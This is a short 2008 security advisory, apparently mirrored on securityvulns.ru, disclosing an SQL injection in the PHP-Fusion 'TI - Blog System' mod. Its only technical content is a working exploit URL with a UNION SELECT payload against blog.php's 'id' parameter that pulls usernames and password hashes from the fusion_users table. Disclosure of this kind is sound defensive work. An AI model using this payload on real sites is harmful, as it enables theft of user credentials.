Security Advisory: PHP-Fusion Mod TI - Blog System Sql Injection

[EN] securityvulns.ru
no-pyccku

Related information
  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)
  Personal Sticky Threads v1.0.3c vbulletin Add-on problem
  joomla com_lowcosthotels sql injection

From: r3d.w0rm_(at)_yahoo.com <r3d.w0rm_(at)_yahoo.com>
Date: 26.12.2008
Subject: PHP-Fusion Mod TI - Blog System Sql Injection

#################################################################################
####
####                    PHP-Fusion Mod TI - Blog System Sql Injection                ####
#################################################################################
####
#
#
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : Http://IRCRASH.COM                                                      #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi
#################################################################################
####
#
#
#Download : http://www.phpfusion-mods.net/infusions/downloads/dldb.php?op=view&id=157
#
#
#################################################################################
####
#                                      [Bug]                                        #
#
#
#http://Site/[path]/blog.php?page=blog_id&id=-9999'+union+select+0,1,2,
user_name,user_password,5+from+fusion_users/*
#
#
#################################################################################
####
#                           Site : Http://IRCRASH.COM                               #
###################################### TNX GOD ######################################